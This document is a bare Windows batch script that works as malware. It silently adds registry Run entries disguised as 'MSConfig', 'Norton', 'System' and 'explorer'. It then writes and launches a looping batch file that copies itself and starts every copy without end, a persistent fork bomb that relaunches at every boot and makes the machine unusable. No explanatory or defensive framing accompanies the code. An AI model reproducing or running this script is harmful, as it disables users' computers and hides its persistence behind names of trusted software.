@echo off
del C:\1.reg
>>"C:\1.reg" ECHO Windows Registry Editor Version 5.00
>>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
>>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat "
>>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat"
>>"C:\1.reg" ECHO "explorer"="c:\\3.bat"
>>"C:\1.reg" ECHO "Norton"="c:\\windows\\1.bat"
>>"C:\1.reg" ECHO "System"="c:\\windows\\2.bat"
>>"C:\1.reg" ECHO "autoexec"="c:\\windows\\3.bat"
regedit.exe /s C:\1.reg

>>"C:\2.bat" ECHO :1
>>"C:\2.bat" ECHO copy 2.bat C:\3.bat
>>"C:\2.bat" ECHO copy 2.bat C:\4.bat
>>"C:\2.bat" ECHO copy 2.bat C:\5.bat
>>"C:\2.bat" ECHO start C:\2.bat
>>"C:\2.bat" ECHO start C:\3.bat
>>"C:\2.bat" ECHO start C:\4.bat
>>"C:\2.bat" ECHO start C:\5.bat
>>"C:\2.bat" ECHO copy C:\2.bat C:\windows\1.bat
>>"C:\2.bat" ECHO copy C:\3.bat C:\windows\2.bat
>>"C:\2.bat" ECHO copy C:\4.bat C:\windows\3.bat
>>"C:\2.bat" ECHO start C:\windows\1.bat
>>"C:\2.bat" ECHO start C:\windows\2.bat
>>"C:\2.bat" ECHO start C:\windows\3.bat
>>"C:\2.bat" ECHO goto 1

start C:\2.bat